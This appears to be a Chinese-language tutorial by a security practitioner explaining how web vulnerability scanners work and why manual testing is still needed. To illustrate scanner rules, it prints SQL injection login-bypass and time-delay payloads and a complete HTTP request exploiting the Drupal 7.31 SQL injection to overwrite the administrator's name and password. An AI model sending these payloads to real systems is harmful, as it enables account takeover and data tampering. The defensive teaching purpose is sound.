作者简介：郭振新，OWASP吉林区域负责人，径点科技资深研发工程师、VP、安全部门负责人。拥有10年软件安全和软件研发经验，软件公司安全团队从0到1的建设经验。

刚接触安全的人总会有一些疑问，为什么有Web漏洞扫描工具还要做手动测试？扫描工具里面的rule都写得好全啊，什么问题类型都有，是不是做完Scan之后就可以保证Web应用程序的绝对安全？本文从扫描工具的原理角度给大家解释一下这些疑惑。

我们先来讨论一下Web漏洞扫描工具都有哪些原理和规则。

一、被动扫描（Passively Scan）

如果有人使用过OWASP ZAP或者Burp Suite扫描，应该会注意到它们的扫描方式中有一项是被动扫描。

那什么时被动扫描呢？被动扫描就是不主动向目标Server发送任何请求，它仅分析现有的经过Burp Suite/ZAP的Request和Response的内容，从中推断出漏洞。仅使用被动技术可以检测到许多类型的Vulnerabilities。

举几个可以用被动扫描发现的问题：

1.Response中不含有各种安全相关的Response header。

2.Response中含有Server的版本号信息等，例如：Server: IIS 10.0

3.前台组件(例如：jQuery)的版本过低，含有已知问题。

4.分析前端代码是否含有潜在的XSS等(注意这种分析可能存在一定的误报率，因为只是分析代码，并没有直接重现问题)。

5.Password/PII等隐私信息发现。

6.SSL/TLS证书问题。

7.其它被动可以查到的Vulnerabilities可以在扫描工具的规则配置中找到。

二、对比Response中的数据和行为

除了第一条为被动扫描技术，其余方法都是主动发现漏洞。扫描工具会一遍一遍的将Request中的所有参数替换成对应攻击的Payload发送到Server，然后查看和对比Server 返回Response中的数据和行为，从而判断Server是否有Vulnerabilities。画一张示例图如下：

对比Response的数据当然很好理解，例如登录时存在SQL Injection，当用户名输入admin&34; or 1=1时会直接登录，扫描工具就会比对Response中的数据不同(登录成功/失败)从而判断这里有SQL Injection问题。

那对比行为是怎么理解呢？有些SQL Injection虽然会被执行，但是Response中返回值都是一样的，这种情况就没有办法直接对比数据。这个时候就可以对比行为，还是拿SQL Injeciton举例，当Payload为UserID=1;waitfor delay &39;0:0:3&39;—时，Server返回Response的时间为3秒以上，当Payload改为UserID=1;waitfor delay &39;0:0:30&39;—时，Server的返回Response的时间为30秒以上，多次尝试后扫描工具就会探测出这里有SQL Injection问题。

另外扫描工具还会分析Response中的异常信息，从而判断内部逻辑，直接报出来，方便攻击者查看和进行下一步进攻。例如有些异常信息会抛出SQL语句是在哪里拼写错误或抛出整个错误的SQL语句，如果异常信息直接打印到Response中时，会加速和帮助攻击者确认Vulnerability所在。所以尽可能少的外向暴露异常信息很重要。

PS: 解释一下Payload的意思，直译有效载荷。简单说就是一次一次发送给Server的数据。比如SQL Injection的Payload：

1. admin&34; or 1=1

2. admin&34; or 1=1--

3. admin&34; or 1=1

4. admin&34; or 1=1/*

不同的攻击方式都会有不同的Payload，推荐大家看一PayloadAllTheThings（http://github.com/origin/swisskyrepo/PayloadsAllTheThings），里面列出了各种类型的Payload。

三、匹配已知漏洞的技术

这个扫描规则怎么理解呢，有一些Site用了现成的产品来进行二次开发，例如使用WordPress来进行二次发，当使用的WordPress版本有安全问题时，无论二次开发的代码如何安全也不能避免因为WrodPress本身所含有的漏洞而带来的安全问题，或者本身使用的Web Server(例如: IIS)就含有安全漏洞等。而这种规则就是为了发现上述问题。

扫描工具的这种规则不会替换所有参数来匹配是否有问题，而是有针对性的发送对应的Request来进行探测，都是一些写好的Rule来进行匹配。如下截图就是AWVS中的一些已知安全问题的列表。

举个例子，像上图中的Drupal SQL injection，要利用此漏洞的request为如下内容：

POST /drupal-7.31/?q=node&destination=node HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: /drupal-7.31/

Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 231

name[0%20;update+users+set+name%3d&39;owned&39;+,+pass+%3d+&39;$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld&39;+where+uid+%3d+&39;1&39;;;%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

所以扫描工具就会直接将上述Request发送到Server，查看Response中是否有可以被利用的迹象，如果有就说明检测到了Drupal SQL injection问题。

四、检测Out-of-Band的技术

上述3种规则，一般的Web Vulnerabilities Scanner都会有，但是下面这两种规则，只有好一点的Scanner才会有。

检测Out-of-Band的技术是为了探测某些没有办法直接从Response对比中检测出来Vulnerabilities。例如Blind XSS，Server-side request forgery (SSRF)，XML External Entity injection (XXE)等等。

使用检测Out-of-Band技术的工具有，AWVS的AcuMonitor（http://www.acunetix.com/origin/vulnerability-scanner/acumonitor-technology/），Burp Suite的Burp Collaborator Client（http://portswigger.net/burp/documentation/desktop/tools/collaborator-client）等。

用一个我们熟悉的例子来解释这种技术。当Site中有一个存储型XSS时，使用上述解释的几种规则就没有办法直接探测出来，因为存储型XSS是在另一个页面存在XSS漏洞，扫描工具没有办法通过存数据的Request来检测是否含有XSS。但是使用检测Out-of-Band技术就可以。原理如下图：

这个例子中XSS还需要页面触发，还有一些其它的问题，例如SSRF(控制Server向某个地方发送Request)，就比较直接，不需要任何触发，直接发送Payload到Server，如果有SSRF问题Server会直接将Payload中的地址发送到AcuMonitor中，从而发现问题。

五、交互式应用安全扫描 （IAST）

先来解释几个名词：

1. Dynamic Application Security Testing (DAST)：像AWVS，Burp Suite，ZAP这种工具都属于DAST工具，扫描动态的网站发现安全问题。

2. Static Application Security Testing (SAST)：像SonarQube，CheckMarx，Fortify SCA这种工具都属于SAST工具，静态扫描源码发现安全问题。

3. Interactive Application Security Testing (IAST)：交互式应用程序安全测试（Interactive Application Security Testing）通过代理、VPN或者在服务端部署Agent程序，收集、监控Web应用程序运行时函数执行、数据传输，并与扫描器端进行实时交互，高效、准确的识别安全缺陷及漏洞，同时可准确确定漏洞所在的代码文件、行数、函数及参数。

IAST是DAST的扩展，也可以理解为是DAST和SAST的融合，以AWVS的AcuSensor的工作原理来解释，通过在Server端Site中安装的方式HttpModule的方式来额外从Server端获取一些信息，从而发现更多的问题和提高扫描的准确度。

当我们需要使用AcuSensor时，需要在对应的测试Site上安装AcuSensor，安装好后会在Site中额外多出一个AcuWeaver.dll和在web.config中添加一个HttpModule，应该是通过这个HttpModule来对Server进行额外的探测，因为在Server中会比只在外面扫描获得更多的有用信息，比如具体执行的sql语句是什么，从而分析出更多的问题。

如下图为AcuSensor的原理图：

通过上述介绍后，你是否对Web漏洞扫描工具的工作原理有了一定的了解呢？

然后我们在回头想一下最初的问题：

?为什么有了Web应用扫描工具还需要做手动测试？

因为扫描工具都是基于Response的返回值进行分析的，如果涉及到逻辑问题(例如权限相关的问题)，扫描工具就很难分析出什么样的行为是合法的，所以类似的问题扫描工具是很难检测的。

?是不是做完扫描之后就可以保证Web应用程序的绝对安全？

答案当然是不可能。除了上述说的逻辑问题，还有一下两个原因：

1）首先扫描工具要扫描的request是基于它的自动爬网的结果，而自动爬网的结果往往都不尽如人意(这里我们一般都通过手动点击页面的方式来收集request)，所以扫描工具不太会扫描到整个应用程序的每个request。

2）另外如果你是一位开发人员，你应该能够理解，有些API可能内部有很多分支逻辑(if, else, switch, case等等)，这些分支逻辑都是基于API传递不同参数而执行的，问题在于扫描工具基本不可能覆盖每一层分支逻辑，这也是扫描工具的局限性。

所以Web应用安全并非交给Web漏洞扫描工具就可以一劳永逸，而是必须通过多种手段和方法来在应用开发的各个阶段和维度进行保证，详细方法不在此赘述。

最后本人并非任何Web漏洞扫描工具的作者，完全是以一个使用者的角度分析了一下扫描工具的原理和局限性，如过大家有任何问题/补充或异议，欢迎一起讨论。

- End -